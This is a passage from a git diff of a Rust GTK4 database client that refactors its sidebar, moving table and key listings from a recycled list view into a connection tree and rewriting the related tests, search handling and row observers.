     pub(crate) fn kind_name(&self) -> String {
@@ -66,27 +92,56 @@ impl SidebarObject {
 
 #[cfg(test)]
 mod tests {
-    use tablepro_core::meta::KeyKind;
+    use tablepro_core::meta::{ObjectInfo, SchemaInfo};
 
     use super::*;
 
-    #[gtk4::test]
-    fn an_object_carries_its_section_icon_and_names() {
-        let users = TableRef::new(Some("public".to_owned()), "Users");
-        let notes = TableRef::unqualified("notes");
+    fn index(objects: &[(Option<&str>, &str, ObjectKind)]) -> Arc<SidebarIndex> {
+        let objects: Vec<ObjectInfo> = objects
+            .iter()
+            .map(|(schema, name, kind)| ObjectInfo {
+                schema: schema.map(str::to_owned),
+                name: (*name).to_owned(),
+                kind: *kind,
+            })
+            .collect();
+        let main = SchemaInfo {
+            name: "main".to_owned(),
+            is_default: true,
+            is_system: false,
+        };
+        Arc::new(SidebarIndex::build(&objects, &[main]))
+    }
 
-        let table = SidebarObject::new(&users, ObjectKind::Table, "public");
-        let totals = SidebarObject::new(&users, ObjectKind::MaterializedView, "public");
-        let view = SidebarObject::new(&notes, ObjectKind::View, "main");
+    /// The object of the entry named `name`.
+    fn object(index: &Arc<SidebarIndex>, name: &str) -> SidebarObject {
+        let entry = (0..)
+            .map_while(|at| Some((at, index.entry(at)?)))
+            .find(|(_, entry)| entry.table.name == name)
+            .map(|(at, _)| at)
+            .unwrap_or_else(|| panic!("no entry named {name}"));
+        SidebarObject::new(index, entry)
+    }
+
+    #[gtk4::test]
+    fn an_object_reads_its_table_icon_and_names_from_the_index() {
+        let index = index(&[
+            (Some("public"), "Users", ObjectKind::Table),
+            (Some("public"), "Totals", ObjectKind::MaterializedView),
+            (None, "notes", ObjectKind::View),
+        ]);
+
+        let (table, totals, view) = (
+            object(&index, "Users"),
+            object(&index, "Totals"),
+            object(&index, "notes"),
+        );
 
-        assert_eq!(table.section_title(), "public");
-        assert_eq!(table.schema().as_deref(), Some("public"));
         assert_eq!(table.name(), "Users");
         assert_eq!(table.qualified_name(), "public.Users");
-        assert_eq!(table.table_ref(), users);
-        assert_eq!(view.schema(), None);
+        assert_eq!(table.table_ref(), TableRef::new(Some("public".to_owned()), "Users"));
+        assert_eq!(view.table_ref(), TableRef::unqualified("notes"));
         assert_eq!(view.qualified_name(), "notes");
-        assert_eq!(view.section_title(), "main");
         assert_eq!(table.icon_name(), "view-grid-symbolic");
         assert_eq!(totals.icon_name(), "view-paged-symbolic");
         assert_eq!(view.icon_name(), "view-list-symbolic");
@@ -99,10 +154,17 @@ mod tests {
 
     #[gtk4::test]
     fn a_key_says_what_it_holds() {
-        let session = TableRef::unqualified("session:1");
-
-        let hash = SidebarObject::new(&session, ObjectKind::Key(KeyKind::Hash), "Database 0");
-        let zset = SidebarObject::new(&session, ObjectKind::Key(KeyKind::SortedSet), "Database 0");
+        let key = |name: &str, kind| ObjectInfo {
+            schema: None,
+            name: name.to_owned(),
+            kind: ObjectKind::Key(kind),
+        };
+        let index = Arc::new(SidebarIndex::keys(
+            &[key("session:1", KeyKind::Hash), key("session:2", KeyKind::SortedSet)],
+            "Database 0".to_owned(),
+        ));
+
+        let (hash, zset) = (object(&index, "session:1"), object(&index, "session:2"));
 
         assert_eq!(hash.kind_name(), "Hash");
         assert_eq!(hash.type_label().as_deref(), Some("Hash"));
diff --git a/linux/crates/app/src/ui/workspace/sidebar/sidebar_object_imp.rs b/linux/crates/app/src/ui/workspace/sidebar/sidebar_object_imp.rs
index b0f3713873..e8d9eb1528 100644
--- a/linux/crates/app/src/ui/workspace/sidebar/sidebar_object_imp.rs
+++ b/linux/crates/app/src/ui/workspace/sidebar/sidebar_object_imp.rs
@@ -1,26 +1,23 @@
-use std::cell::OnceCell;
+use std::cell::{Cell, OnceCell};
 use std::marker::PhantomData;
+use std::sync::Arc;
 
 use gtk4::glib;
 use gtk4::prelude::*;
 use gtk4::subclass::prelude::*;
-use tablepro_core::meta::{ObjectKind, TableRef};
+
+use super::sidebar_index::SidebarIndex;
 
 #[derive(Default, glib::Properties)]
 #[properties(wrapper_type = super::sidebar_object::SidebarObject)]
 pub struct SidebarObject {
-    pub(super) table: OnceCell<TableRef>,
-    pub(super) kind: OnceCell<ObjectKind>,
-    pub(super) title: OnceCell<String>,
-    #[property(get = Self::schema)]
-    schema: PhantomData<Option<String>>,
+    /// The index the object reads its table from, shared by every row
+    /// of the list.
+    pub(super) index: OnceCell<Arc<SidebarIndex>>,
+    pub(super) entry: Cell<u32>,
+    /// Read from the index when asked, so it costs the object nothing.
     #[property(get = Self::name)]
     name: PhantomData<String>,
-    #[property(get = Self::icon_name)]
-    icon_name: PhantomData<String>,
-    /// The schema's heading, which groups the rows into sections.
-    #[property(get = Self::section_title)]
-    section_title: PhantomData<String>,
 }
 
 #[glib::object_subclass]
@@ -33,35 +30,11 @@ impl ObjectSubclass for SidebarObject {
 impl ObjectImpl for SidebarObject {}
 
 impl SidebarObject {
-    fn schema(&self) -> Option<String> {
-        self.table.get().and_then(|table| table.schema.clone())
-    }
-
     fn name(&self) -> String {
-        self.table.get().map(|table| table.name.clone()).unwrap_or_default()
-    }
-
-    fn icon_name(&self) -> String {
-        use crate::ui::icons;
-        use tablepro_core::meta::KeyKind;
-        let icon = match self.kind.get() {
-            Some(ObjectKind::View) => icons::VIEW_LIST,
-            Some(ObjectKind::MaterializedView) => icons::VIEW_PAGED,
-            Some(ObjectKind::Key(kind)) => match kind {
-                KeyKind::String => icons::TEXT_X_GENERIC,
-                KeyKind::Hash => icons::VIEW_GRID,
-                KeyKind::List => icons::VIEW_LIST,
-                KeyKind::Set => icons::VIEW_PAGED,
-                KeyKind::SortedSet => icons::VIEW_SORT_ASCENDING,
-                KeyKind::Stream => icons::DOCUMENT_OPEN_RECENT,
-                KeyKind::Other => icons::VIEW_MORE,
-            },
-            _ => icons::VIEW_GRID,
-        };
-        icon.to_owned()
-    }
-
-    fn section_title(&self) -> String {
-        self.title.get().cloned().unwrap_or_default()
+        self.index
+            .get()
+            .and_then(|index| index.entry(self.entry.get()))
+            .map(|row| row.table.name.clone())
+            .unwrap_or_default()
     }
 }
diff --git a/linux/crates/app/src/ui/workspace/sidebar/sidebar_row_factory.rs b/linux/crates/app/src/ui/workspace/sidebar/sidebar_row_factory.rs
deleted file mode 100644
index 9d2711593d..0000000000
--- a/linux/crates/app/src/ui/workspace/sidebar/sidebar_row_factory.rs
+++ /dev/null
@@ -1,133 +0,0 @@
-use std::rc::Weak;
-
-use gtk4 as gtk;
-use gtk4::prelude::*;
-use gtk4::{gdk, graphene, pango};
-
-use super::sidebar_object::SidebarObject;
-use super::sidebar_view::SidebarInner;
-
-/// Builds the rows the list view recycles: an icon and the table's name,
-/// with one click gesture for what activation does not cover. A key's
-/// row adds its type.
-pub(super) fn row_factory(view: Weak<SidebarInner>, keys: bool) -> gtk::SignalListItemFactory {
-    let factory = gtk::SignalListItemFactory::new();
-    factory.connect_setup(move |_, object| {
-        let Some(item) = object.downcast_ref::<gtk::ListItem>() else {
-            return;
-        };
-        let row = gtk::Box::builder()
-            .orientation(gtk::Orientation::Horizontal)
-            .spacing(8)
-            .has_tooltip(true)
-            .build();
-        // Asked for on hover: setting a tooltip queries the pointer's
-        // position, and a search binds two hundred rows at once.
-        let hovered = item.downgrade();
-        row.connect_query_tooltip(move |_, _, _, _, tooltip| {
-            let Some(object) = hovered
-                .upgrade()
-                .and_then(|item| item.item())
-                .and_downcast::<SidebarObject>()
-            else {
-                return false;
-            };
-            tooltip.set_text(Some(&object.qualified_name()));
-            true
-        });
-        // The name says what the row is; the icon only tells a view from
-        // a table at a glance.
-        let icon = gtk::Image::builder()
-            .pixel_size(16)
-            .accessible_role(gtk::AccessibleRole::Presentation)
-            .build();
-        let label = gtk::Label::builder()
-            .xalign(0.0)
-            .hexpand(true)
-            .ellipsize(pango::EllipsizeMode::End)
-            .build();
-        row.append(&icon);
-        row.append(&label);
-        // A key's type, as a dim suffix: its icon alone would leave the
-        // user to learn which picture means a sorted set.
-        if keys {
-            let kind = gtk::Label::builder()
-                .accessible_role(gtk::AccessibleRole::Presentation)
-                .build();
-            kind.add_css_class("dimmed");
-            kind.add_css_class("caption");
-            row.append(&kind);
-        }
-        row.add_controller(click_gesture(view.clone(), item));
-        item.set_child(Some(&row));
-        if let Some(view) = view.upgrade() {
-            view.track_row(item);
-        }
-    });
-    factory.connect_bind(|_, object| {
-        let Some(item) = object.downcast_ref::<gtk::ListItem>() else {
-            return;
-        };
-        let (Some(row), Some(object)) = (item.child(), item.item().and_downcast::<SidebarObject>()) else {
-            return;
-        };
-        // A recycled row usually shows a table again, and setting the
-        // same icon or description still redraws or re-announces it.
-        let icon_name = object.icon_name();
-        if let Some(icon) = row.first_child().and_downcast::<gtk::Image>()
-            && icon.icon_name().as_deref() != Some(icon_name.as_str())
-        {
-            icon.set_icon_name(Some(&icon_name));
-        }
-        let label = row.first_child().and_then(|icon| icon.next_sibling());
-        if let Some(label) = label.and_downcast_ref::<gtk::Label>() {
-            label.set_label(&object.name());
-        }
-        if let Some(kind) = label
-            .and_then(|label| label.next_sibling())
-            .and_downcast::<gtk::Label>()
-        {
-            kind.set_label(&object.type_label().unwrap_or_default());
-        }
-        // The getter's binding cannot read an unset description, which a
-        // new row has; the property can.
-        let kind = object.kind_name();
-        if item.property::<Option<String>>("accessible-description").as_deref() != Some(kind.as_str()) {
-            item.set_accessible_description(&kind);
-        }
-    });
-    factory
-}
-
-/// Button 0, so one gesture sees every button. It claims only what it
-/// handles, which cancels the row's own click for that press.
-fn click_gesture(view: Weak<SidebarInner>, item: &gtk::ListItem) -> gtk::GestureClick {
-    let gesture = gtk::GestureClick::new();
-    gesture.set_button(0);
-    let (pressed_view, pressed_item) = (view.clone(), item.downgrade());
-    gesture.connect_pressed(move |gesture, _, x, y| {
-        let (Some(view), Some(item), Some(row)) = (pressed_view.upgrade(), pressed_item.upgrade(), gesture.widget())
-        else {
-            return;
-        };
-        let at = row.compute_point(&view.list_view, &graphene::Point::new(x as f32, y as f32));
-        let pointing = at.map(|point| gdk::Rectangle::new(point.x() as i32, point.y() as i32, 1, 1));
-        if view.pressed(
-            item.position(),
-            gesture.current_button(),
-            gesture.current_event_state(),
-            pointing,
-        ) {
-            gesture.set_state(gtk::EventSequenceState::Claimed);
-        }
-    });
-    gesture.connect_released(move |gesture, _, _, _| {
-        let Some(view) = view.upgrade() else {
-            return;
-        };
-        if view.released(gesture.current_button()) {
-            gesture.set_state(gtk::EventSequenceState::Claimed);
-        }
-    });
-    gesture
-}
diff --git a/linux/crates/app/src/ui/workspace/sidebar/sidebar_view.rs b/linux/crates/app/src/ui/workspace/sidebar/sidebar_view.rs
index 75eb406439..6686beafde 100644
--- a/linux/crates/app/src/ui/workspace/sidebar/sidebar_view.rs
+++ b/linux/crates/app/src/ui/workspace/sidebar/sidebar_view.rs
@@ -1,416 +1,232 @@
 use std::cell::{Cell, RefCell};
-use std::rc::{Rc, Weak};
+use std::rc::Rc;
 use std::sync::Arc;
 
-use gtk4 as gtk;
 use gtk4::prelude::*;
-use gtk4::{gdk, gio, glib};
-use libadwaita as adw;
+use gtk4::{gio, glib};
 use tablepro_core::meta::TableRef;
 use tablepro_session::runtime::Tasks;
 
 use super::object_key::ObjectKey;
 use super::sidebar_affordances::SidebarAffordances;
 use super::sidebar_event::SidebarEvent;
-use super::sidebar_header_factory::header_factory;
 use super::sidebar_index::SidebarIndex;
 use super::sidebar_menu::{
-    CONTEXT_MENU, DROP_TABLE, EDIT_STRUCTURE, GROUP, IMPORT_CSV, NEW_TABLE, OPEN_IN_NEW_TAB, SHOW_CREATE_TABLE,
-    SHOW_DIAGRAM, SHOW_SCHEMA_DIAGRAM, object_menu, offers,
+    DROP_TABLE, EDIT_STRUCTURE, IMPORT_CSV, NEW_TABLE, OPEN_IN_NEW_TAB, SHOW_CREATE_TABLE, SHOW_DIAGRAM,
+    SHOW_SCHEMA_DIAGRAM, offers,
 };
-use super::sidebar_model::{RowsAsked, RowsWorkedOut, SidebarModel};
-use super::sidebar_row_factory::row_factory;
-use crate::application::{ShortcutOwner, local_shortcut_controller};
-
-const LIST_PAGE: &str = "list";
-const EMPTY_PAGE: &str = "empty";
+use super::sidebar_model::{RowsAsked, RowsWorkedOut, Search, SidebarModel};
+use super::tree_node::TreeNode;
+
+/// What a session's sidebar lists.
+#[derive(Debug, Clone, Copy, Default, PartialEq, Eq)]
+pub(crate) enum Holds {
+    #[default]
+    Tables,
+    /// A key-value engine's keys, which its server matches against the
+    /// search.
+    Keys,
+    /// A document engine's collections.
+    Collections,
+}
 
-/// The session's tables in one list view that recycles its rows, in a
-/// section per schema, with one shared menu.
+/// A session's tables as the window's connection tree lists them under
+/// its connection, the table actions their menus name, and what the user
+/// asks of them, which goes to the session's workspace.
 #[derive(Clone)]
 pub(crate) struct SidebarView {
     inner: Rc<SidebarInner>,
 }
 
-pub(crate) struct SidebarInner {
-    root: gtk::Stack,
-    pub(super) list_view: gtk::ListView,
+/// What the tree runs once a list or a search's rows land.
+type RowsObserver = Rc<dyn Fn()>;
+
+struct SidebarInner {
     model: SidebarModel,
-    pub(super) popover: gtk::PopoverMenu,
     actions: gio::SimpleActionGroup,
-    empty: adw::StatusPage,
     events: Box<dyn Fn(SidebarEvent)>,
     affordances: Cell<SidebarAffordances>,
     /// Where a new index or search is worked out into rows. Without it,
     /// on the GTK thread.
     tasks: Option<Tasks>,
-    /// Whether a list was shown yet. Until then the sidebar is blank
-    /// rather than saying there are no tables.
-    listed: Cell<bool>,
-    header_factory: RefCell<Option<gtk::SignalListItemFactory>>,
-    /// The table of the tab in front. Activation on a single click also
-    /// selects rows on hover, so the selection returns here.
-    active: RefCell<Option<TableRef>>,
-    /// The recycled rows, to point the keyboard's menu at one.
-    rows: RefCell<Vec<glib::WeakRef<gtk::ListItem>>>,
-    /// The table under a middle press. A new list can bind its row to
-    /// another table before the release.
-    middle_pressed: RefCell<Option<TableRef>>,
-    handlers: RefCell<Vec<(glib::WeakRef<glib::Object>, glib::SignalHandlerId)>>,
-    hover: RefCell<Option<gtk::EventControllerMotion>>,
-    /// Whether the list holds keys, which the server matched against the
-    /// search, rather than tables the list filters itself.
-    keys: Cell<bool>,
-    /// Whether the list holds a document engine's collections, which it
-    /// names as such.
-    collections: Cell<bool>,
-    /// Whether the keys shown are those a search matched.
-    searched: Cell<bool>,
+    holds: Cell<Holds>,
+    /// What a key-value engine's server is asked to match, empty while
+    /// its branch does not follow the search.
+    key_search: RefCell<String>,
+    /// Asks the workspace for a new listing of keys.
+    relist: RefCell<Option<Box<dyn Fn()>>>,
+    observers: RefCell<Vec<(u64, RowsObserver)>>,
+    next_observer: Cell<u64>,
 }
 
+/// What `connect_rows_shown` returns, to disconnect with.
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub(crate) struct RowsObserverId(u64);
+
 impl SidebarView {
     pub(crate) fn new(
         events: impl Fn(SidebarEvent) + 'static,
         affordances: SidebarAffordances,
         tasks: Option<Tasks>,
     ) -> Self {
-        let model = SidebarModel::new();
-        let list_view = gtk::ListView::new(Some(model.selection().clone()), None::<gtk::ListItemFactory>);
-        list_view.add_css_class("navigation-sidebar");
-        // A click opens the table, as the list always did; Enter and a
-        // double click reach the same activate.
-        list_view.set_single_click_activate(true);
-        list_view.update_property(&[gtk::accessible::Property::Label(&crate::i18n::gettext("Tables"))]);
-        let scroll = gtk::ScrolledWindow::builder()
-            .hscrollbar_policy(gtk::PolicyType::Never)
-            .vexpand(true)
-            .child(&list_view)
-            .build();
-        let empty = adw::StatusPage::new();
-        empty.add_css_class("compact");
-        let root = gtk::Stack::new();
-        root.add_named(&scroll, Some(LIST_PAGE));
-        root.add_named(&empty, Some(EMPTY_PAGE));
-        let actions = gio::SimpleActionGroup::new();
-        // Before the popover is parented: a popover menu finds its
-        // actions through the parent it had when it was set up.
-        list_view.insert_action_group(GROUP, Some(&actions));
-        let popover = gtk::PopoverMenu::from_model(None::<&gio::MenuModel>);
-        popover.set_has_arrow(true);
-        popover.set_parent(&list_view);
         let inner = Rc::new(SidebarInner {
-            root,
-            list_view,
-            model,
-            popover,
-            actions,
-            empty,
+            model: SidebarModel::new(),
+            actions: gio::SimpleActionGroup::new(),
             events: Box::new(events),
             affordances: Cell::new(affordances),
             tasks,
-            listed: Cell::new(false),
-            header_factory: RefCell::new(None),
-            active: RefCell::new(None),
-            rows: RefCell::new(Vec::new()),
-            middle_pressed: RefCell::new(None),
-            handlers: RefCell::new(Vec::new()),
-            hover: RefCell::new(None),
-            keys: Cell::new(false),
-            collections: Cell::new(false),
-            searched: Cell::new(false),
+            holds: Cell::new(Holds::Tables),
+            key_search: RefCell::new(String::new()),
+            relist: RefCell::new(None),
+            observers: RefCell::new(Vec::new()),
+            next_observer: Cell::new(0),
         });
-        inner
-            .list_view
-            .set_factory(Some(&row_factory(Rc::downgrade(&inner), false)));
-        let headers = header_factory(Rc::downgrade(&inner));
-        inner.list_view.set_header_factory(Some(&headers));
-        inner.header_factory.replace(Some(headers));
-        inner
-            .list_view
-            .add_controller(local_shortcut_controller(ShortcutOwner::SidebarList));
         install_actions(&inner);
-        connect_view(&inner);
-        inner.refresh_placeholder();
         Self { inner }
     }
 
-    pub(crate) fn widget(&self) -> &gtk::Stack {
-        &self.inner.root
+    /// The schemas the tree lists under the session's connection, then
+    /// a placeholder once there are none.
+    pub(crate) fn rows(&self) -> gio::ListModel {
+        self.inner.model.rows()
     }
 
-    /// Show a new object list under the search, once its rows are worked
-    /// out. The selection goes back to the tab in front's table, which the
-    /// new list holds as a new object.
-    pub(crate) fn show(&self, index: SidebarIndex) {
-        self.inner.listed.set(true);
-        let asked = self.inner.model.replace(index);
-        work_out_rows(&self.inner, asked);
+    /// Every schema, in list order, each over its tables and the ones the
+    /// search finds.
+    pub(crate) fn schemas(&self) -> gio::ListModel {
+        self.inner.model.schemas()
     }
 
-    /// `show`, indexing on the GTK thread, for lists a test writes out.
-    #[cfg(test)]
-    pub(crate) fn apply_objects(
-        &self,
-        objects: &[tablepro_core::meta::ObjectInfo],
-        schemas: &[tablepro_core::meta::SchemaInfo],
-    ) {
-        self.show(SidebarIndex::build(objects, schemas));
+    /// The table actions its menus name, for the tree's menus to reach.
+    pub(crate) fn actions(&self) -> &gio::SimpleActionGroup {
+        &self.inner.actions
     }
 
-    /// Name what the list holds as a document engine's collections.
-    pub(crate) fn hold_collections(&self) {
-        self.inner.collections.set(true);
-        self.inner
-            .list_view
-            .update_property(&[gtk::accessible::Property::Label(&crate::i18n::gettext("Collections"))]);
-        self.inner.refresh_placeholder();
+    pub(crate) fn affordances(&self) -> SidebarAffordances {
+        self.inner.affordances.get()
     }
 
-    /// List a key-value engine's keys from now on. Its search goes to the
-    /// server, so the list shows what came back as it is.
-    pub(crate) fn hold_keys(&self) {
-        self.inner.keys.set(true);
-        let rows = row_factory(Rc::downgrade(&self.inner), true);
-        self.inner.list_view.set_factory(Some(&rows));
-        self.inner
-            .list_view
-            .update_property(&[gtk::accessible::Property::Label(&crate::i18n::gettext("Keys"))]);
-        self.inner.refresh_placeholder();
-    }
-
-    /// Show the keys a listing found, `searched` when a search picked
-    /// them.
-    pub(crate) fn show_keys(&self, index: SidebarIndex, searched: bool) {
-        self.inner.searched.set(searched);
-        self.show(index);
+    /// A reconnect can reach a server that edits less; the menus offer
+    /// what it does from their next opening.
+    pub(crate) fn set_affordances(&self, affordances: SidebarAffordances) {
+        self.inner.affordances.set(affordances);
     }
 
-    pub(crate) fn set_query(&self, query: &str) {
-        if let Some(asked) = self.inner.model.set_query(query) {
-            work_out_rows(&self.inner, asked);
-        }
+    pub(crate) fn holds(&self) -> Holds {
+        self.inner.holds.get()
     }
 
-    /// Select the row of the table the tab in front shows, or none for
-    /// any other tab: a selected row would say the editor shows it.
-    pub(crate) fn sync_selection(&self, table: Option<&TableRef>) {
-        self.inner.active.replace(table.cloned());
-        self.inner.model.select(table);
+    /// Name what the list holds as a document engine's collections.
+    pub(crate) fn hold_collections(&self) {
+        self.inner.holds.set(Holds::Collections);
+        self.inner
+            .model
+            .name_placeholder(&crate::i18n::gettext("No Collections"));
     }
 
-    /// A reconnect can reach a server that edits less, so the headers are
-    /// bound again with what it offers.
-    pub(crate) fn set_affordances(&self, affordances: SidebarAffordances) {
-        if self.inner.affordances.replace(affordances) == affordances {
-            return;
-        }
-        if let Some(headers) = self.inner.header_factory.borrow().as_ref() {
-            self.inner.list_view.set_header_factory(None::<&gtk::ListItemFactory>);
-            self.inner.list_view.set_header_factory(Some(headers));
-        }
+    /// List a key-value engine's keys from now on. Its server matches the
+    /// search, so a new search asks `relist` for a new listing.
+    pub(crate) fn hold_keys(&self, relist: impl Fn() + 'static) {
+        self.inner.holds.set(Holds::Keys);
+        self.inner.relist.replace(Some(Box::new(relist)));
+        self.inner.model.name_placeholder(&crate::i18n::gettext("No Keys"));
     }
 
-    /// Filter as the user types in `entry`.
-    pub(crate) fn follow_search(&self, entry: &gtk::SearchEntry) {
-        let view = Rc::downgrade(&self.inner);
-        let handler = entry.connect_search_changed(move |entry| {
-            if let Some(view) = view.upgrade() {
-                SidebarView { inner: view }.set_query(&entry.text());
-            }
-        });
-        self.inner.remember(entry, handler);
+    /// Show a new object list under the search, once its rows are worked
+    /// out.
+    pub(crate) fn show(&self, index: SidebarIndex) {
+        let asked = self.inner.model.replace(index);
+        work_out_rows(&self.inner, asked);
     }
 
-    /// Ask for a new listing as the user types in `entry`; the server
-    /// matches the search, so the list does not filter itself.
-    pub(crate) fn follow_key_search(&self, entry: &gtk::SearchEntry, changed: impl Fn() + 'static) {
-        let handler = entry.connect_search_changed(move |_| changed());
-        self.inner.remember(entry, handler);
+    /// Show the keys a listing found, `searched` when the server matched
+    /// them against the search: then every one is a result.
+    pub(crate) fn show_keys(&self, index: SidebarIndex, searched: bool) {
+        self.inner
+            .model
+            .hold_search(if searched { Search::Everything } else { Search::None });
+        self.show(index);
     }
 
-    /// Let go of the menu and the signals, before the widgets go.
-    pub(crate) fn shutdown(&self) {
-        let inner = &self.inner;
-        inner.popover.popdown();
-        if inner.popover.parent().is_some() {
-            inner.popover.unparent();
-        }
-        for (object, handler) in inner.handlers.take() {
-            if let Some(object) = object.upgrade() {
-                object.disconnect(handler);
+    /// The search typed. A key-value engine's server is asked for the
+    /// keys that match it, so the tree gives it only while its branch
+    /// follows the search.
+    pub(crate) fn set_query(&self, query: &str) {
+        if self.holds() == Holds::Keys {
+            let query = query.trim();
+            if *self.inner.key_search.borrow() == query {
+                return;
+            }
+            self.inner.key_search.replace(query.to_owned());
+            if let Some(relist) = self.inner.relist.borrow().as_ref() {
+                relist();
             }
+            return;
         }
-        if let Some(hover) = inner.hover.take() {
-            inner.list_view.remove_controller(&hover);
+        if let Some(asked) = self.inner.model.set_query(query) {
+            work_out_rows(&self.inner, asked);
         }
-        inner.list_view.insert_action_group(GROUP, None::<&gio::ActionGroup>);
-        inner.rows.take();
     }
 
-    #[cfg(test)]
-    pub(crate) fn inner(&self) -> &Rc<SidebarInner> {
-        &self.inner
+    /// What the next listing of keys asks the server to match.
+    pub(crate) fn key_search(&self) -> String {
+        self.inner.key_search.borrow().clone()
     }
 
-    #[cfg(test)]
-    pub(crate) fn shown(&self) -> u32 {
-        self.inner.model.shown()
+    /// Open `table` in its tab, or a new one.
+    pub(crate) fn open(&self, table: TableRef) {
+        (self.inner.events)(SidebarEvent::Open(table));
     }
 
-    /// How many rows the list made since its last new index.
-    #[cfg(test)]
-    pub(crate) fn made(&self) -> usize {
-        self.inner.model.list().made()
+    pub(crate) fn open_in_new_tab(&self, table: TableRef) {
+        (self.inner.events)(SidebarEvent::OpenInNewTab(table));
     }
 
-    /// Each bound row's table name and what a screen reader says it is.
-    #[cfg(test)]
-    pub(crate) fn row_descriptions(&self) -> Vec<(String, String)> {
-        let mut found: Vec<(String, String)> = self
-            .inner
-            .bound_rows()
-            .filter_map(|item| {
-                let object = item.item().and_downcast::<super::sidebar_object::SidebarObject>()?;
-                Some((object.name(), item.accessible_description().to_string()))
-            })
-            .collect();
-        found.sort();
-        found
+    /// Whether the session lists `table`, searched for or not.
+    pub(crate) fn lists(&self, table: &TableRef) -> bool {
+        self.inner.model.kind_of(table).is_some()
     }
 
-    #[cfg(test)]
-    pub(crate) fn selected_table(&self) -> Option<TableRef> {
-        let model = &self.inner.model;
-        model
-            .object_at(model.selection().selected())
-            .map(|object| object.table_ref())
+    /// The schema whose tables hold `table`, and where among them.
+    pub(crate) fn locate(&self, table: &TableRef) -> Option<(TreeNode, u32)> {
+        self.inner.model.locate(table)
     }
-}
 
-impl SidebarInner {
-    pub(super) fn affordances(&self) -> SidebarAffordances {
-        self.affordances.get()
+    /// The schema whose tables the search found hold `table`, and where
+    /// among them.
+    pub(crate) fn locate_found(&self, table: &TableRef) -> Option<(TreeNode, u32)> {
+        self.inner.model.locate_found(table)
     }
 
-    pub(super) fn holds_keys(&self) -> bool {
-        self.keys.get()
+    /// Whether the rows on show are the ones last asked for. A key-value
+    /// engine's listing runs in the workspace, which shows it once read.
+    pub(crate) fn settled(&self) -> bool {
+        self.inner.model.settled()
     }
 
-    pub(super) fn track_row(&self, item: &gtk::ListItem) {
-        let mut rows = self.rows.borrow_mut();
-        // A search makes two hundred rows at once, so the rows gone are
-        // dropped only when the list would grow, not on every row.
-        if rows.len() == rows.capacity() {
-            rows.retain(|row| row.upgrade().is_some());
-        }
-        rows.push(item.downgrade());
-    }
-
-    /// A press on the row at `position`. True when the sidebar handled
-    /// it, so the row's own click does not select or open it too.
-    pub(crate) fn pressed(
-        &self,
-        position: u32,
-        button: u32,
-        modifiers: gdk::ModifierType,
-        pointing: Option<gdk::Rectangle>,
-    ) -> bool {
-        match button {
-            gdk::BUTTON_SECONDARY => {
-                self.popup_menu(position, pointing);
-                true
-            }
-            gdk::BUTTON_PRIMARY if modifiers.contains(gdk::ModifierType::CONTROL_MASK) => {
-                self.open_in_new_tab(position);
-                true
-            }
-            gdk::BUTTON_MIDDLE => {
-                self.middle_pressed
-                    .replace(self.model.object_at(position).map(|object| object.table_ref()));
-                false
-            }
-            _ => false,
-        }
+    /// Run `observer` each time a list or a search's rows land.
+    pub(crate) fn connect_rows_shown(&self, observer: impl Fn() + 'static) -> RowsObserverId {
+        let id = self.inner.next_observer.get();
+        self.inner.next_observer.set(id + 1);
+        self.inner.observers.borrow_mut().push((id, Rc::new(observer)));
+        RowsObserverId(id)
     }
 
-    /// A middle click opens the table it was pressed on in a new tab, as
-    /// a link does.
-    pub(super) fn released(&self, button: u32) -> bool {
-        if button != gdk::BUTTON_MIDDLE {
-            return false;
-        }
-        let Some(table) = self.middle_pressed.take() else {
-            return false;
-        };
-        if self.model.kind_of(&table).is_some() {
-            (self.events)(SidebarEvent::OpenInNewTab(table));
-        }
-        true
-    }
-
-    fn open_in_new_tab(&self, position: u32) {
-        if let Some(object) = self.model.object_at(position) {
-            (self.events)(SidebarEvent::OpenInNewTab(object.table_ref()));
-        }
-    }
-
-    fn activate(&self, position: u32) {
-        if let Some(object) = self.model.object_at(position) {
-            (self.events)(SidebarEvent::Open(object.table_ref()));
-        }
-    }
-
-    /// Select the row at `position` and open its menu, pointing at
-    /// `pointing` in the list view, or at the whole list.
-    pub(crate) fn popup_menu(&self, position: u32, pointing: Option<gdk::Rectangle>) {
-        let Some(object) = self.model.object_at(position) else {
-            return;
-        };
-        self.model.selection().set_selected(position);
-        let menu = object_menu(&ObjectKey(object.table_ref()), object.kind(), self.affordances.get());
-        self.popover.set_menu_model(Some(&menu));
-        self.popover.set_pointing_to(pointing.as_ref());
-        self.popover.popup();
-    }
-
-    /// The Menu key and Shift+F10: the menu of the row the keyboard is
-    /// on, over that row. The selection follows the tab in front, not
-    /// the keyboard, so it stands in only when no row has focus.
-    fn popup_keyboard_menu(&self) {
-        let position = self
-            .focused_position()
-            .unwrap_or_else(|| self.model.selection().selected());
-        if position == gtk::INVALID_LIST_POSITION {
-            return;
-        }
-        let pointing = self.row_bounds(position).or_else(|| {
-            self.list_view
-                .focus_child()
-                .and_then(|row| bounds_in(&row, &self.list_view))
-        });
-        self.popup_menu(position, pointing);
-    }
-
-    fn row_bounds(&self, position: u32) -> Option<gdk::Rectangle> {
-        let row = self.bound_rows().find(|item| item.position() == position)?.child()?;
-        bounds_in(&row, &self.list_view)
-    }
-
-    fn focused_position(&self) -> Option<u32> {
-        let focused = self.list_view.focus_child()?;
-        self.bound_rows()
-            .find(|item| {
-                item.child()
-                    .is_some_and(|row| row == focused || row.is_ancestor(&focused))
-            })
-            .map(|item| item.position())
+    pub(crate) fn disconnect_rows_shown(&self, id: RowsObserverId) {
+        self.inner
+            .observers
+            .borrow_mut()
+            .retain(|(observer, _)| *observer != id.0);
     }
 
-    fn bound_rows(&self) -> impl Iterator<Item = gtk::ListItem> {
-        let rows: Vec<gtk::ListItem> = self.rows.borrow().iter().filter_map(glib::WeakRef::upgrade).collect();
-        rows.into_iter().filter(|item| item.item().is_some())
+    /// Let go of the tree and the workspace, which outlive nothing here.
+    pub(crate) fn shutdown(&self) {
+        self.inner.observers.take();
+        self.inner.relist.take();
     }
+}
 
+impl SidebarInner {
     /// Run a table action whose target came through GAction: a target of
     /// the wrong shape, or for a table the list no longer has, does
     /// nothing.
@@ -455,19 +271,31 @@ impl SidebarInner {
             tracing::warn!("a diagram was asked for without a schema");
             return;
         };
+        if !self.affordances.get().speaks_sql || self.holds.get() == Holds::Keys {
+            return;
+        }
         (self.events)(SidebarEvent::ShowDiagram(schema.filter(|schema| !schema.is_empty())));
     }
 
     fn show_rows(&self, worked_out: RowsWorkedOut) {
-        let previous = self.model.shown_index();
-        if let Err(overtaken) = self.model.show(worked_out) {
-            self.release(overtaken);
-            return;
